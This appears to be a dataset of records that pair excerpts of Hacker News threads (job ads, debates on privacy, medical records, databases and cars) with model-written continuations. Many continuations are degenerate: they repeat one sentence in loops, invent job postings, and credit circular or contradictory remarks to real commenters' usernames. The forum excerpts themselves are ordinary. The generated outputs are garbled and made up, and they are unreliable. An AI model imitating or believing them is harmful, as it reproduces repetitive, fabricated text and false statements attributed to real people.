|\n[https://www.mgh-ccds.com/](https://www.mgh-ccds.com/)\n\nThe Center for Clinical Data Science at Massachusetts General Hospital is"} +{"output_text": "\nI'm not sure I agree with the author's conclusion that the \"fuzz\" sound is\n\"distortion\". I think it's more like a \"clipping\" sound.\n\n~~~\njoshu\nI think it's more like a \"clipping\" sound.\n\n------\njoshu\nI think the author is confusing \"distortion\" with \"clipping\".\n\n------\njoshu\nI think the author is confusing \"distortion\"", "input_text": " for playing styles, effects, and\nexpression. Either way this was a great read, and I love to nerd out to audio,\nproduction and recording.\n\n------\npfraze\n> Snoddy explains what happened by invoking tech-talk about tube amplifiers\n> and insufficient wiring. But whatever happened inside that console...\n\nHe came at me with the mumbo jumbo!\n\nHere's the song, for anybody curious:\n[http://www.youtube.com/watch?v=WCbIAmy6X0M](http://www.youtube.com/watch?v=WCbIAmy6X0M)\n\n~~~\nunclesaamm\nbetter quality:\n[http://grooveshark.com/s/Don+t+Worry/450UFD?src=5](http://grooveshark.com/s/Don+t+Worry/450UFD?src=5)\n\n------\ntmuir\nThe \"discovery\" of distortion is an example of the idea that inventors are\nsometimes the first person to tell someone else about something, instead of\nthe first person to discover the thing.\n\nThe electric guitar was invented in 1931. It then follows that guitars were\nbeing electrically amplified in 1931. Are we really to believe that it took\n20-30 years for someone to turn up the gain higher than what would allow it to\naccurately amplify the input signal?\n\n~~~\nsehugg\nTube amps distort in a very gradual way when overdriven. The \"fuzz\" sound is a\nmore severe form of clipping. This is why transistor-based stomp boxes were\nsought out; it's actually hard to get a tube amp to clip in this exact way.\n\n------\nkevincennis"} +{"output_text": " and entrepreneurs in their journey to\nbuild and grow their business. We help them with everything from product\ndevelopment to marketing, sales, and growth.\n\nWe're looking for a Software Engineer to join our team in London. You'll be\nworking on our web application, which is used by our clients to manage their\nbusiness. You'll be working with a small team of developers, designers, and\nproduct managers to build a product that our clients love.\n\nWe're also looking", "input_text": "8MI4fwq&s=Hacker_News)\n\n------\nKaedon\nChowNow | Los Angeles, CA (Playa Vista) | Full Time | Onsite |\n[https://www.chownow.com/](https://www.chownow.com/)\n\nAt ChowNow, we build online ordering systems for thousands of restaurants and\nmillions of diners. We're launching a few new products soon that I'm excited\nabout. I love working here as an engineer. It's a great balance of challenge,\nfreedom, and impact.\n\nWe've been growing quickly and we're looking to hire an Operations (DevOps)\nengineer! As background, we had a manually configured AWS infrastructure that\nwe've retired in favor of an Ansible / Terraform-based setup. We've automated\ninfrastructure and our deploy process so it's a great time to come in and\nshape where we go from here.\n\nWe also have positions open for a Principal Front-End Engineer (Ember.js /\nNode) and a Data Analyst on our careers page at\n[https://jobs.lever.co/chownow?lever-via=MO5-ac-\nqvc](https://jobs.lever.co/chownow?lever-via=MO5-ac-qvc).\n\nIf you're interested or have questions what it's like to work here, please\ncontact me at kevinlondon@chownow.com or our recruiter, Candice, at\ncandice@chownow.com.\n\n------\njennybrennan\nEntrepreneur First | London | Software Engineer and Junior Software Engineer |\nFull-time | ONSITE\n\nEntrepreneur First supports engineers"} +{"output_text": "jason_slack\nSlack | San Francisco, CA | Full-Time | Onsite\n\nSlack is hiring! We are looking for a Senior Software Engineer to join our\nteam.\n\nWe are looking for someone who is passionate about building great software\nthat people love to use. You will be working on a variety of projects,\nincluding our internal tools, our public Slack apps, and our internal\nplatform.\n\nWe are looking for someone who is comfortable", "input_text": " Application here:\n[https://jobs.jobvite.com/zestfinance/apply](https://jobs.jobvite.com/zestfinance/apply)\n\nFor other openings visit:\n[https://www.zestfinance.com/careers.html](https://www.zestfinance.com/careers.html)\n\n------\nhoelle\nSoulbound Studios - Lead Engine Programmer - Bellevue WA - Full Time - Onsite\n\nSoulbound Studios is seeking a full-time engineer to join the dedicated team\nworking on Chronicles of Elyria. Experience in games, C++, Unreal, and engine\ndevelopment is helpful.\n\nChronicles of Elyria is the first MMORPG where your character ages and dies,\nencouraging you to think beyond your character to their role in a larger\nstory. It embraces a character's ability to impact other characters. A closed\neconomy, finite resources, non-repeatable quests, and a fully destructible\nenvironment means the world is experienced differently for every character.\nEach time you log in there is something for you to participate in. Local,\nregional, and national conflicts are continuously unfolding, giving birth to\nrepeated opportunities for you to change the course of history.\n\nRead more about the game here:\n[https://chroniclesofelyria.com/](https://chroniclesofelyria.com/)\n\nMore about the job opening here:\n[http://soulboundstudios.com/jobs/Lead_Client_Programmer.aspx](http://soulboundstudios.com/jobs/Lead_Client_Programmer.aspx)\n\nEmail: steve@soulboundstudios.com\n\n------\n"} +{"output_text": "?\n\n~~~\nanigbrowl\nI'm not sure what you mean by 'private'. The secret police forces of the\nNazi's were private, but the Stasi was a state-run organization.\n\n~~~\nanamax\n> I'm not sure what you mean by 'private'.\n\nI'm not sure what you mean by \"private\".\n\nThe Stasi was a state-run organization.\n\nThe secret police forces of the Nazi's", "input_text": "2 to make quick inroads into the space\nthough.\n\n \nGermany: Facebook must destroy its facial recognition database - smartician\nhttp://arstechnica.com/tech-policy/2012/08/germany-facebook-must-destroy-facial-recognition-database/\n======\ndaveman\nIt's fascinating to watch how tech companies react to restrictive EU privacy\nlaws. Many of the EU requirements (e.g. 'right to be forgotten', mandatory\nopt-in for cookies) could become a real hindrance for companies that want to\nbuild intelligent services and minimized user experiences.\n\nCall me crazy, but it seems like when you get to use a free service or website\nthat costs many millions of dollars to develop, giving the company access to\nyour data is a fairly small price to pay.\n\nI'm waiting for one of these legal actions to cause a company like Facebook to\njust shut down their service in the local area, and leave a landing page with\nthe email addresses of all the politicians who provoked the outage.\n\n~~~\nanigbrowl\n_I'm waiting for one of these legal actions to cause a company like Facebook\nto just shut down their service in the local area, and leave a landing page\nwith the email addresses of all the politicians who provoked the outage._\n\nPeople in the EU (and Germany in particular) don't care for massive privately\nheld databases that can be used to target individuals. They have had enough\nbad experiences with secret police forces, and that's why there are strict\nlimits on data gathering and retention.\n\n~~~\nanamax\n> People in the EU (and Germany in particular)... have had enough bad\n> experiences with secret police forces,\n\nHow many of these secret police forces were private? How many were govt"} +{"output_text": " of what they're trying to avoid?\n\n~~~\njlgaddis\nI'm not sure what you're trying to say.\n\n~~~\nSCdF\nI'm saying that the article is poorly formatted for mobile.\n\n------\njlgaddis\nI'm not sure what the author is trying to say.\n\n------\njoshstrange\nI'm not sure what the author is trying to say.\n\n------\njlgaddis\nI", "input_text": "business type emails and documents? Not\nreally, because I don't have any sensitive documents that I don't care for\nGoogle to have access to. Maybe if I were a journalist starting a secretive\nblog and needing to communicate between journalists over sensitive information\n- yeah, I could see that.\n\nI think those are the kinds of people you're going to want to market to.\nReasonably priced for sensitive documents and files, but more than\nconventional app solutions who don't really need the extra decentralized\nsecurity.\n\n~~~\njlgaddis\nI think I must be misunderstanding.\n\nYou talk about \"decentralizing\" but you mention Google Apps for e-mail and\nMedium for a blog. If you want to decentralize, you should be running these\nthings on your own server(s) that you control.\n\nWhat am I missing?\n\n~~~\nnarrowrail\nI think acconrad is just saying:\n\nDecentralized is for sensitive things with a need for \"extra decentralized\nsecurity,\" and that most conventional needs can be met more adequately, and\ncheaply, with the services 'everyone' already uses.\n\nBasically, it's a philosophical difference, but the ideas expressed may give\nproponents of decentralization some insight into why we are currently in\nanother centralizing phase of the internet.\n\n------\nradicalbyte\nBut how else can these sites get access to your contact list and call history?\n\n~~~\nadevine\nRequire Facebook login - close enough.\n\n------\nSCdF\nSee, I agree, but this is what this article looks like on my phone:\n[https://imgur.com/VqchKIp](https://imgur.com/VqchKIp)\n\nPerhaps one should become a good example"} +{"output_text": " of the\nthings I am looking for is a hacker community. I have been looking at meetup.com\nand hacker news, but I am not sure if there is a community here. I am looking\nfor a group of people who are interested in learning and sharing their\nknowledge. I am not looking for a group of people who are looking for a\nmentor. I am looking for a group of people who are interested in learning and\nsharing their knowledge. I am not looking", "input_text": " on Dropbox. It made their file-sharing much\neasier.\n\nSo I honestly understand this article, even though for us it's been around for\nso long.\n\n------\nakent\nAny media outlet tempted to use a \"you've never heard of\" headline should\nseriously reconsider. Guaranteed to irritate everyone who HAS heard of it\ninstantly.\n\n~~~\nwhatusername\nI heard a radio report in NZ over summer about the kids these days using words\nlike Cool and Wicked in ways that weren't their original meaning.\n\nSomeone deserves a medal for epic trolling. (I don't know what the station was\n-- I was in a hire car and channel surfing and decided to listen to the news\nbroadcast)\n\n------\nkylelibra\nThis is why traditional / mainstream media is fighting a battle to remain\nrelevant.\n\n~~~\nVivtek\nThis they call fighting?\n\n~~~\nTomek_\nCertainly better than their previous attempts:\n[http://www.thedailyshow.com/watch/mon-\nfebruary-28-2011/the-b...](http://www.thedailyshow.com/watch/mon-\nfebruary-28-2011/the-biggest-newser)\n\n------\njpr\nFinally something I can be hipster about.\n\n------\npetervandijck\nEh, \"you've never heard of\"?\n\n~~~\nFlorin_Andrei\nIt's CNN, it's for normal people.\n\n~~~\npetervandijck\nAh normal people. Got it.\n\n \n\nAsk HN: Living as a hacker in the bay area. - dvcat\n\nI will be moving to the bay area once I graduate in a few months. One"} +{"output_text": "90 days.\n\n[http://www.nytimes.com/2013/04/17/business/the-\ninterview-s...](http://www.nytimes.com/2013/04/17/business/the-interview-\nscore-is-a-myth.html)\n\n[http://www.nytimes.com/2013/04/17/business/the-\ninterview-s...](http://www.", "input_text": " now I realise he was willfully deluded.\nSo don't forget to watch out for this and verify what their practices are with\nquestions.\n\n------\nares2012\nThis is common in your first job, so don't feel bad for missing the signs!\nUntil you have been in the professional world it's hard to know what\nenvironments are right for you.\n\nThe good news is that now you'll know what to look for when you interview at\nnew companies. Some things I look for: 1\\. A well organized and well run\nrecruiting process. If they can't communicate, schedule and work with you\nduring recruiting it's unlikely they can do so when you work there. 2\\. Great\nemployee retention. People don't stick around for a long while at companies\nthey hate. Look for places where people stay for the long haul (at least 3\nyears). 3\\. Personal connections. Talk to the people you know in the industry\nand learn about where they work. At this point I would have a hard time\njoining a company where I didn't know anyone since there is so much risk\ninvolved.\n\nGood luck with your next adventure! It only gets better.\n\n------\nisuckatcoding\nHello all. I want to thank you all for you amazing responses. Based on your\nfeedback, I have an excellent set of possible actions/questions I can take to\navoid my current situation. I know there is no fail-safe method but at least I\nhave some guidance now.\n\nAlso just realized my question has a typo. :facepalm: Looks like\nisuckatgrammar too.\n\n------\nevanwolf\nOn the employers' side, a few studies showed very low correlation between\ninterviewer scores of candidates and employee performance ratings after\n60-"} +{"output_text": "/h) in towns and cities. The Act was repealed in\n1891.\"\n\n------\njrockway\nI think the author is confusing the \"car\" with the \"automobile\". The car is\nthe machine that you drive. The automobile is the machine that you ride in.\n\nThe car is a machine that you drive. The automobile is a machine that you ride\nin.\n\n~~~\njrockway\nI guess I should have said \"car", "input_text": "% of the population used to work on farms. Now much\nless than 10% work on farms in the western world. Do we have 70% unemployment?\n\n------\nchrismealy\nWe don't need driveless cars, we need carless people:\n\n\n\n~~~\nalnayyir\nThis would make riding my motorcycle much safer, I like it.\n\n~~~\nseanx\nIf driverless cars start reducing the car road toll then motorbikes will start\nto look really dangerous:(.\n\nI suppose we could get self driving motorbikes but that would be missing the\npoint of riding.\n\n~~~\nnazgulnarsil\ngiven that a huge proportion, maybe even the majority, are caused by people in\ncars turning in front of or merging into motorcyclists I doubt it.\n\n------\njoel_ms\n>But it\u2019s clear that in the early part of the 20th century, the original\nadvent of the motor car was not impeded by anything like the current m\u00e9lange\nof regulations, laws and lawsuits.\n\nThey did try in the 19th century though, at least in the UK, with the\nLocomotive Acts[1]. The way those laws went out of their way to protect the\nstatus quo (i.e. horse-powered transport) is an interesting parallell to\ntoday's possible transition from human-controlled to computer-controlled\ntransport.\n\n[1] \n\n~~~\nmeric\n\"The Locomotive Act 1865 (Red Flag Act):[5] Set speed limits of 4 mph (6 km/h)\nin the country and 2 mph (3 km"} +{"output_text": " a conversation.\n\n------\njosh2600\nI'm not sure I understand the point of this article.\n\nFacebook is a business. They are a business that is making money. They are a\nbusiness that is growing. They are a business that is making money.\n\nThey are a business that is growing.\n\nThey are a business that is making money.\n\nThey are a business that is growing.\n\nThey are a business that is making money.", "input_text": " at my newrelic monitor, I think\nthe exact same thing: \"This is all going to collapse soon.\"\n\nAfter almost two years of staring at six figure weekly revenue values on the\nanalytics and tracking applications I've built (I obviously am not making this\nmuch), I begin to question my inherent concerns on FB's long game.\n\n~~~\nZenPro\nFrom a quantitative perspective I cannot fault them _right now_ but from a\nqualitative perspective...something is rotten in Denmark.\n\nFacebook is not the platform we need, it's the one we deserve right now ;-)\n\n------\ngcb0\ni sent a link over their newly acquired IM service... and now all my ads are\nfor the company owning that link.\n\nfor one side I'm impressed at their speed in incorporating that new window\ninto my privacy....or maybe the selling price was so high because that was\nalready a feature? anyway, on the other hand, I'm unimpressed by either their\ninventory of ads or ability to classify the content they know i know.\n\nif they showed me things relevant to that link it would be interesting. they\njust flooded me with ads for something i might even own already. its like the\ncheap ad networks on desktop. see one item at amazon, now all sites in the\nworld will show you that item. they just spent billions to race the mobile ads\nto the bottom from the get go.\n\n~~~\nEncosia\nIsn't it more likely that the page you visited to get the link had a Facebook\n\"like\" button on it that tracked your potential interest at that point?\n\n~~~\ngcb0\nnope. typed it on my phone. it was a service i use 2 months ago and a friend\nasked me about it during"} +{"output_text": " SigOpt is used by the world\u2019s\nleading companies to solve their most challenging problems.\n\nWe are looking for a software engineer to join our team in San Francisco.\n\nYou will be working on a variety of projects, including:\n\n\\- Building out our web application\n\n\\- Improving our machine learning algorithms\n\n\\- Improving our computational fluid dynamics algorithms\n\n\\- Improving our visualization algorithms\n\n\\- Improving our data science algorithms\n\n\\- Improving our", "input_text": "Our mission:\n\n\\- Enable companies to perform the activities necessary to deliver\npersonalized products more effectively.\n\n\\- Allow companies in the supply chain network to collaborate and do business\ntogether more efficiently.\n\n\\- Reveal transformative insights about the operations and network dynamics of\nthe industry.\n\n\\- Drive data-driven decision making and continuous improvement.\n\nAbout Nulogy:\n\nWe are a Canadian success story. Our story started 15 years ago when four\nengineering grads from the University of Waterloo worked on a design project\nthat grew to become the company. We are now a world-leading provider of\nspecialized solutions for complex supply-chain challenges. As a company\nfounded by friends wanting to make a difference, the close relationship\nbetween the founders influence the family-like culture that exists here.\n\nBenefits:\n\n\\- Unlimited paid vacation (take as much time off as you need, with at least 2\nweeks off a year).\n\n\\- 100% top-up for 13 weeks for any parent of biological or adopted children.\n\n\\- Dev culture is infused with learning; emphasis on clean code, strong\ntechnical practices, and collaboration.\n\n\\- Free format hack days roughly once a month.\n\nLearn about the Culture: [http://bit.ly/Nulogy-\nGlassdoor](http://bit.ly/Nulogy-Glassdoor) APPLY AT: [http://bit.ly/Nulogy-\nFullstack](http://bit.ly/Nulogy-Fullstack)\n\n------\nKurtisL\nSigOpt | Software Engineer Full Stack and Backend | San Francisco, CA | Onsite\n| Full-time\n\nSigOpt is the optimization platform that accelerates your modeling. From\nmachine learning to computational fluid dynamics,"} +{"output_text": " my oncologist? UNC's EMR system.\n\nI want records from my neurologist? UNC's EMR system.\n\nI want records from my psychiatrist? UNC's EMR system.\n\nI want records from my orthopedist? UNC's EMR system.\n\nI want records from my urologist? UNC's EMR system.\n\nI want records from my dermatologist? UNC's EMR system.\n\nI", "input_text": " your.htaccess file to setup a 301 redirect to/from the www. version of\nyour site.\n\n------\ncoolswan\nnice. if I had to guess, in a couple years, google will attempt to acquire\nblekko to integrate with their webspam team.\n\n------\nRubyred\nWow, the search results are terrible on blekko. I think someone's gone crazy\nwith the ban hammer.\n\nMy suggestion to blekko: look for signals of relevance to determine serps,\ninstead of flagging every other website as spam.\n\n \nWe've Spent Billions to Fix Our Medical Records, and They're Still a Mess - prostoalex\nhttp://www.motherjones.com/politics/2015/10/epic-systems-judith-faulkner-hitech-ehr-interoperability\n======\nMDNukem\nI'm surprised I don't see any comments about the FHIR api here. It's a project\nseeking to standardize a RESTful api for clinical encounter data that's\ngaining a fair bit of traction.\n\nIf the existing EMR companies don't manage to subvert its goals, the problem\nof data interoperability will be largely solved within the next 5-7 years.\n\n~~~\nmindcrime\nThat's the best news I've heard in a while. I was just complaining earlier\ntoday, that I hate the way I have to login to so many different EMR systems to\nlook at my medical records, and there's no interop between them, or (mostly)\nany convenient API to download data.\n\nI want record from my GP? FollowMyHealth.com\n\nI want records from my cardiologist? UNC's EMR system.\n\nI want records from"} +{"output_text": "/r/IAmA/comments/2q8q9e/i_am_a_contract...](https://www.reddit.com/r/IAmA/comments/2q8q9e/i_am_a_contractor_and_i_am_not_an_employee/)\n\n~~~\njedberg\n> \\- Drivers would have to get the Uber-paid lavish health care plan that\n> developers there get", "input_text": " less of a\n> percentage of earnings per ride to their drivers to compensate for the\n> change of cost?\n\nUber and Lyft would need to pay hourly wages, along with all of the associated\ntaxes due.\n\n> Would Uber and Lyft make more if they had their drivers on a similar model\n> to a pizza delivery driver ($4.50/h + tips)?\n\nUber and Lyft's entire business model is built on the independent contractor\nmodel. I don't believe they could reach profitability in any scenario with\nhuman drivers if they have to pay them as stipulated by IRS regulations.\n\n~~~\nSilasX\n>Uber and Lyft would need to pay hourly wages, along with all of the\nassociated taxes due.\n\nNot true. You can be an employee with a non-hourly pay structure. Just one of\nmany misconceptions batted around about the implications of driver\nreclassification, along with (these aren't all false per se, just not-\nnecessarily-true):\n\n\\- Drivers would have to get the Uber-paid lavish health care plan that\ndevelopers there get.\n\n\\- Driver cash payments would remain the same and not be reduced.\n\n\\- Drivers would get fixed work schedules.\n\n\\- Drivers would value the compensation package that includes employee\nbenefits but has lower cash pay, over the compensation they get now.\n\n\\- Uber would have to provide the vehicles.\n\n\\- The economic incidence of FICA taxes would shift to Uber (not how economic\nincidence works[1]).\n\nAgain, the employee/contractor distinction depends on a number of factors; you\ncan be classified as an employee without meeting all of criteria.\n\n[1] Good explanation:\n[https://www.reddit.com"} +{"output_text": " in their own way, is a failure.\n\n------\njrockway\nI think the problem is that the web is a place where people can do whatever\nthey want. The web is not a place where people can do what they want.\n\nI think the web is a place where people can do what they want, but they can't\ndo what they want to do.\n\n~~~\njrockway\nI think the problem is that the web is a place where", "input_text": " the most average pile of junk anyone has ever seen.\nBut people understand it, sure they moan, but they get it. Go for the lowest\ncommon denominator.\n\nThe times uses the motif of a news paper online, I guess because it's\ncontextually people understand. I don't know if by design or accident, but\nthere is a level if usability there because of the fact.\n\nIts messy but its reliable, and sometimes thats what design is about, not a\ngreat looking product, but something that does its job.\n\n~~~\ndredmorbius\nThe lifesaver for me has been the \"Remove This Permanently\" Firefox plugin\n(well, that an the Flashblock plugin).\n\nIf something's sufficiently annoying, I just find its xpath and remove it.\n\nDoes this put me in the top fractional 1% of browsers? I have no doubt. Does\nthis work for me? Yes. Does the 1% bit bother me? Not in the least.\n\nIf anything, it's the final trump card in an argument I've had with web-design\ngeeks that the end-user ultimately trumps style.\n\nVideo very likely does bring in the money. I can live with that. But so long\nas I can rip out the offending content, I'm cool with it.\n\nI've also seen some other good/bad paper designs. In the Bay Area, I'm\ncontinually amazed at how good the _design_ of the SF Chronicle is (the\ncontent's of course gone fully to crap), and how poor that of the San Jose\nMercury News (in the capital of Silicon Valley) is. I actually did an analysis\nof how much (and respectively little) content was presented above the fold in\neach design.\n\nSadly each,"} +{"output_text": "://teespring.com/jobs) for more\ndetails.\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a Senior Software Engineer to join our\nteam.\n\nWe are looking for someone who is passionate about building great software and\nis excited to work on a product that millions of people use every day.\n\nWe are looking for someone who is comfortable", "input_text": "Another imminent project is rebuilding the messaging infrastructure, making\nstudent/tutor matching smarter, moving the backend to a microservice model.\nAll the things you'd expect to do in a startup moving from small to bigger.\n\nWhy Yup:\n\nWe're not just a Silicon Valley startup trying to get big fast and loose. Our\ngoal is to build a product that helps people, has sound unit economics, and\ngenerates real revenue, not just users. Our BD branch is finding ways to bring\nYup to underprivileged youths whose families couldn't afford it on their own\nby selling it to schools.\n\nI've worked with many startups before and, honestly, this is the only one\nthat's made me feel really good about what I'm building every day.\n\nIf you have questions, I'm on twitter and here as Swizec. If you wanna join\nus, email the CEO -> nag@yup.com\n\n[1] we've had parents send us really nice emails saying their kid went from a\nD to a B+.\n\n[2] some of our longest sessions so far have been north of 2 hours.\n\n------\nholtbp\nTeespring | Sr. Full Stack Engineer | SF |\n[https://teespring.com/](https://teespring.com/)\n\nJoin our awesome engineering team! We are building a platform to enable anyone\nwith a design idea to create and sell custom T-shirts, totes, mugs and more!\n\nJob descriptions: * SF:\n[http://teespring.com/jobs?gh_jid=50923](http://teespring.com/jobs?gh_jid=50923)\n\nCheck out [http://teespring.com/jobs](http"} +{"output_text": "rare) cases, is not a good default.\n\n------\njedberg\nI'm not sure why this is getting so much attention. It's not like it's a\nfeature that's new.\n\n~~~\nnemo44x\nIt's a feature that's new to the new version of MongoDB.\n\n~~~\njedberg\nI know, but it's not a feature that's new to the new version of MongoDB. It's\na", "input_text": "http://hackingdistributed.com/2013/01/29/mongo-ft/)\n\n~~~\nnemo44x\nHe was using v2.0 in that article. A version that is years old and pretty\nawful. The default then was that a write was fired from the client and that's\nit - fire and forget. A stupid default.\n\nThe default since is to get an ack from the server. You can control this on\neach write and make it more durable (make sure it is replicated to 1, majority\nor all replicas) or faster (just get to the server). The default is to be\nwritten to the primary server and put into the transaction log so if it\ndoesn't get committed to disk (possibly 60 seconds by default) it can recover.\nThe transaction log is flushed (fsync) every 100ms by default and is\nconfigurable. You can also specify that the write is only acknowledged after\nthe transaction log is synced. Anyways the default is it is put into the\ntransaction log and then acknowledged.\n\n~~~\njedberg\nOk, fair enough. Then the answer is yes, they did fix it. :)\n\nI guess I'll give it another look then.\n\nBut I'm still a little wary of a database built by people who ever thought\nthat such behavior was acceptable for a database...\n\n~~~\nnemo44x\nI'd make sure you use the new storage engine, wiredtiger too if you give them\nanother shot. The standard one works well on read heavy use cases but\nsaturates I/O pretty quickly if you're doing a lot of updates that make\ndocuments grow if you don't take some precautions.\n\nI also agree, having a setting of \"fire and forget\", although useful in some\n("} +{"output_text": " year ago.\n\nI've seen a lot of apps that are basically just a slightly different take on\nthe same app that was popular a year ago. I've seen a lot of apps that are\nbasically just a slightly different take on the same app that was popular a\nyear ago. I've seen a lot of apps that are basically just a slightly different\ntake on the same app that was popular a year ago. I've seen a lot of apps that\nare basically just", "input_text": "without having to consult a lawyer? How about a mathematical paper? A medical\ntest result?\n\n------\nstuki\n'Worlds most X' programming language, for programming what? The ideal language\nin which to express something kind of depends on what you are trying to\nexpress, doesn't it? ( maybe unless you are some kind of meta lisper ( or\nperl6'er :) ) dreaming of a language that's a strict superset of all possible\nothers )\n\n------\nmattjones\nThere's a place in the comments of the last article in this series where a guy\ncalled Tony says, \"I have one word: Scheme.\" And chromatic replies, \"I wonder\nif a language that sticks so closely to the lambda calculus is comprehensible\nto non-math geeks.\"\n\nThis kind of perspective (chromatic's) is a problem. The thing is, programming\nlanguages with the property that you can build powerful abstractions and still\nkeep the program comprehensible and maintainable almost certainly will be\nclosely coupled with some areas of mathematics. Things with such powerful and\npeculiar properties usually are.\n\nIt doesn't mean that the thing in question can only appeal to math geeks. One\nthing you can do with Scheme's abstraction power is build abstractions that do\nnot seem especially mathematical.\n\n \niOS users buy more apps and pay more for them - jammur\nhttp://gigaom.com/apple/ios-users-buy-more-apps-and-pay-more-for-them/\n======\nflyosity\nThe most interesting (and possibly neglected) piece of information that I've\nfound when analyzing the economics & business of the App Store is just how\nmany apps are a slightly different take on an app that was popular a"} +{"output_text": "-wire/)\n\n4: [http://freakonomics.blogs.nytimes.com/2008/01/26/what-do-\nrea...](http://freakonomics.blogs.nytimes.com/2008/01/26/what-do-real-thugs-\nthink-of-the-wire-part-three/)\n\n5: [http://freakonomics.blogs.nytimes.com/2008/01/", "input_text": " Try a simpler\nexplanation: Hillary was a shit candidate who many distrust, and she worked\nvery hard to get that reputation.\n\n~~~\nvostok\n> Try a simpler explanation: Hillary was a shit candidate who many distrust,\n> and she worked very hard to get that reputation.\n\nIt seems to me that many people who are not Clinton worked very hard at\nmanufacturing this reputation.\n\n------\nitakedrugs\nIs it possible to know if they target democrats?\n\n \n\nWhat Do Real Thugs Think of The Wire? - tyn\nhttp://freakonomics.blogs.nytimes.com/2008/01/09/what-do-real-thugs-think-of-the-wire/\n\n======\nwhimsy\nFull list of links to the story.\n\n1: [http://freakonomics.blogs.nytimes.com/2008/01/09/what-do-\nrea...](http://freakonomics.blogs.nytimes.com/2008/01/09/what-do-real-thugs-\nthink-of-the-wire/)\n\n2: [http://freakonomics.blogs.nytimes.com/2008/01/18/what-do-\nrea...](http://freakonomics.blogs.nytimes.com/2008/01/18/what-do-real-thugs-\nthink-of-the-wire-part-two/)\n\n3: [http://freakonomics.blogs.nytimes.com/2008/01/25/what-do-\nrea...](http://freakonomics.blogs.nytimes.com/2008/01/25/what-do-real-thugs-\nthink-of-the"} +{"output_text": " up.\n\n~~~\njoshu\nI'm not sure I agree with your conclusion.\n\nI think the problem is that the infographics are a poor substitute for\njournalism.\n\n~~~\njoshu\nI'm not sure I agree with your conclusion.\n\nI think the problem is that the infographics are a poor substitute for\njournalism.\n\n~~~\njoshu\nI'm not sure I agree with your conclusion.\n\nI think", "input_text": " next is the infographics. Again beautiful, I used to kill for decent info\ngraphics coming in. If I wasn't snowed under I'd try and create them myself.\n\nBut the reality is graphic designer can't do it, they have huge work loads\nalready, and remember you can't just hire more staff, its break even business.\nTHEN you need a subject matter expert to assembly it and give it to the\ngraphic designer.\n\nInfographics takes time, and its something that Google and Twitter have taken\naway from news journalists by the creation of an attention economy. You need\nto break a story immediately or you run the risk of not covering your\nproduction costs.\n\nYou don't have time to crunch numbers, you are literally scrambling for\neyeballs to stay in business. You can do it with editorials fine, and one\ntrick I learnt quick was guest bloggers are GOLD. They often bring a crowd\nwith them, they often have great researched stories, infographics you name it.\nSo it became my goal to build those relationships.\n\nBut alas 3 months without weekends, high pressure workload, high pressure\ntargets, unyielding worldwide competition take a toll. So I quit. Theres still\nan open position for me if I want to return, but I don't think I'm ready just\nyet ;)\n\nEDIT: I don't mean to be harsh towards Andy. I love his work, and his\nintellectual exercise into improvement is great. I even forwarded it onto my\nold team for review.\n\nBut what I guess my point is sometimes there a reason why things are crap, and\nfixing may be a hell of a lot harder the moment you try than you expected.\n\nSo don't judge people/teams to harshly, instead offer a hand"} +{"output_text": "\n\n3\\. Avoid the possibility of a large scale protest movement that could\noverwhelm the government\n\n4\\. Avoid the possibility of a large scale protest movement that could\noverwhelm the government\n\n5\\. Avoid the possibility of a large scale protest movement that could\noverwhelm the government\n\n6\\. Avoid the possibility of a large scale protest movement that could\noverwhelm the government\n\n7\\. Avoid the possibility of a large scale protest movement that could\n", "input_text": "------\nhereonbusiness\nCase sensitive word clouds, it's like looking at trypophobia images :)\n\nBut by the looks of it, wouldn't have made much difference anyway.\n\n------\nshahocean\nsuch a great analysis! Is there any space in this to disrupt? I mean to make\nthings as before!\n\n------\nljk\nalways reminded by this xkcd comic whenever people share observations about\ntheir relationships\n\n[http://xkcd.com/523/](http://xkcd.com/523/)\n\n~~~\nneduma\nLOL.\n\n------\nneduma\nVery interesting article among all apple crap.\n\n~~~\nneduma\nit was my mistake to say bad about apple. Sorry apple fans.\n\n~~~\nmikeash\nYour first mistake was writing a comment that didn't really add anything (if\nall you want is to express approval, click the upvote button) and your second\nmistake was complaining about it.\n\n------\nfuddle\nI think this topic would be more interesting: \"How Text Messages Change from\nMarriage to Divorce\"\n\n \nChina\u2019s Internet Controls Will Get Stricter, to Dismay of Foreign Business - danielmorozoff\nhttp://www.nytimes.com/2016/11/08/business/international/china-cyber-security-regulations.html?ref=technology\n======\nRcouF1uZ4gsC\nThe Chinese government actually has very little incentive to allow foreign\ninternet companies inside China. By restricting outside companies they do the\nfollowing\n\n1\\. Reduce the ability of outsiders to influence their people\n\n2\\. Avoid Arab Spring like events where because the companies are foreign, the\ncoordinating network is opaque to the government"} +{"output_text": " will never be able to afford it).\n\n~~~\ntptacek\nI'm not sure what you're trying to say here.\n\n~~~\nmaxsilver\nI'm saying that the argument that \"cars are bad\" is a fallacy.\n\nThe argument that \"cars are bad\" is a fallacy because it's based on a false\npremise.\n\nThe argument that \"cars are bad\" is a fallacy because it's based on a false", "input_text": "\ntremendous freedom and agency (at the costs outlined above, plus tremendous\nfinancial cost). But it\u2019s also true that many of the most desirable and\nproductive parts of our cities are that way _despite_ cars and not because of\nthem.\n\n~~~\nmaxsilver\n> If you live in a small town of 100,000 people, that means 11 of your\n> neighbors will be killed by drivers crashing their cars every year.\n\nTrue. But for comparison, if we live in this small town of 100k people, then\n192 people will die from Heart Disease, 178 people will die of Cancer, 47\npeople will die of Respiratory diseases, 43 people will die of Stroke, and 16\nwill die from the flu (influenza or pneumonia) every single year, according to\nthe CDC. \"Motor vehicle accidents\" are not even in the top 10 causes of death\n(they're 13th, using 2016's data).\n\n> the most desirable and productive parts of our cities are that way despite\n> cars and not because of them.\n\nWhich is a strong argument _for_ cars. Cars make things drastically more\naffordable for people. If you remove them, you increase the costs for\neverything (food, transportation, housing, healthcare, education, etc), to\nheights no regular person could ever afford. That _also_ carries tremendous\ncosts and even carries it's own death toll.\n\nParadoxically, making things \"more desirable and productive\" makes them worst\nfor real people (because that value will be captured in a pricetag, and real\npeople will never be able to afford it). Paradoxically, too much safety can\nactually be less safe overall (that safety will be captured in a pricetag, and\nreal people"} +{"output_text": " the most part.\n\n------\njedberg\nI work in the medical field, and I can't imagine working remotely.\n\nI'm a software engineer, and I can't imagine working remotely.\n\nI'm a doctor, and I can't imagine working remotely.\n\nI'm a nurse, and I can't imagine working remotely.\n\nI'm a pharmacist, and I can't imagine working remotely.\n\nI'm a lab tech, and I can", "input_text": "ing and unmuting etiquette).\nIn my experience there is also a bunch of jobs in the technical field that in\nprincipal could be done remotely, but suffer due to 